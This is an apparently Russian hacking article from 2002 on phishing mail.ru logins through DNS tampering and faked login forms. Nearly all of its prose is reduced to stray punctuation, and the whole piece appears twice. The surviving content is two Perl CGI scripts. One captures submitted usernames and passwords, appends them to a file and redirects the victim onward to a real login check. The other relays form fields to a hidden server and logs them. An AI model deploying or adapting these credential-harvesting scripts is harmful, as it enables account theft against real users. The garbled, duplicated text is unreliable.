:
: Free_Hunt
e-mail:
for_fantom@mail.ru
: 25.05.2002
- . , , , ;))) - ... , . , , =). , (). , . , , . . DNS - . mail.ru . , , mail.ru, . form action , , , http IP , . , , . :
http://mailbox.mail.ru/mail.cgi http://mail.ru/cgi-bin/mirror.pl?redir=http://mailbox.mail.ru/mail.cgi mirror.pl, , . (cookies,form_field etc.) . , , =). IRC =). , , DNS , =).
. , , \ , , , /var/named c:\winnt\system32\dns , , - - DNS , - , radius.our.zone or billing.our.zone :) , IP . named- ( serial, ;) ). 32, , . - .
( ). , , , , . WWW , , , . , , action, , , ( , - ). , , - , , - =). , , , , "" , , =))). , , - - , , , , =). , , =). --------------------------------------------- #!perl use Socket; use CGI param; $text1=param("text1"); $text2=param("text2"); $text3=param("text3"); $remote="xxx.xxx.xx.x";$port="80"; if ($port =~ /\D/) { $port = getservbyname($port, 'tcp') }; $iaddr = inet_aton($remote); $paddr = sockaddr_in($port, $iaddr); $proto = getprotobyname('tcp'); socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die "socket()"; connect(SOCK, $paddr); $data="text1=$text1&text2=$text2&text3=$text3"; send SOCK,"POST /mail HTTP/1.1\n",0; send SOCK,"Content-Length: ".length($data)."\n",0; send SOCK,"Content-Type: application/x-www-form-urlencoded\n",0; send SOCK,"Connection: Keep-Alive\n\n",0; send SOCK,$data,0; while(){$ret="$ret"."$_";} open (FILE2 ,">>_log.txt") || die "open() log $! $@"; print FILE2 "---=$remote:$port=---\n$ret\n$data\n\n"; close FILE2; close(SOCK); ----------------------------------------------- #!perl use CGI param; $login=param("login");$pass=param("pass"); print "Location: https://xx.xx/check/check.php?login=$login&pass=$pass\n\n"; open WR, ">>data.txt";print WR "$login:$pass\n";close WR; ----------------------------------------------- P.S. - , , , , , , , . , .
Copyright "HACK-INFO" "crypt@hack-info.ru"
http://hack-info.ru.
- . , , , ;))) - ... , . , , =). , (). , . , , . . DNS - . mail.ru . , , mail.ru, . form action , , , http IP , . , , . :
http://mailbox.mail.ru/mail.cgi http://mail.ru/cgi-bin/mirror.pl?redir=http://mailbox.mail.ru/mail.cgi mirror.pl, , . (cookies,form_field etc.) . , , =). IRC =). , , DNS , =).
. , , \ , , , /var/named c:\winnt\system32\dns , , - - DNS , - , radius.our.zone or billing.our.zone :) , IP . named- ( serial, ;) ). 32, , . - .
( ). , , , , . WWW , , , . , , action, , , ( , - ). , , - , , - =). , , , , "" , , =))). , , - - , , , , =). , , =). --------------------------------------------- #!perl use Socket; use CGI param; $text1=param("text1"); $text2=param("text2"); $text3=param("text3"); $remote="xxx.xxx.xx.x";$port="80"; if ($port =~ /\D/) { $port = getservbyname($port, 'tcp') }; $iaddr = inet_aton($remote); $paddr = sockaddr_in($port, $iaddr); $proto = getprotobyname('tcp'); socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die "socket()"; connect(SOCK, $paddr); $data="text1=$text1&text2=$text2&text3=$text3"; send SOCK,"POST /mail HTTP/1.1\n",0; send SOCK,"Content-Length: ".length($data)."\n",0; send SOCK,"Content-Type: application/x-www-form-urlencoded\n",0; send SOCK,"Connection: Keep-Alive\n\n",0; send SOCK,$data,0; while(){$ret="$ret"."$_";} open (FILE2 ,">>_log.txt") || die "open() log $! $@"; print FILE2 "---=$remote:$port=---\n$ret\n$data\n\n"; close FILE2; close(SOCK); ----------------------------------------------- #!perl use CGI param; $login=param("login");$pass=param("pass"); print "Location: https://xx.xx/check/check.php?login=$login&pass=$pass\n\n"; open WR, ">>data.txt";print WR "$login:$pass\n";close WR; ----------------------------------------------- P.S. - , , , , , , , . , .
Copyright "HACK-INFO" "crypt@hack-info.ru"
http://hack-info.ru.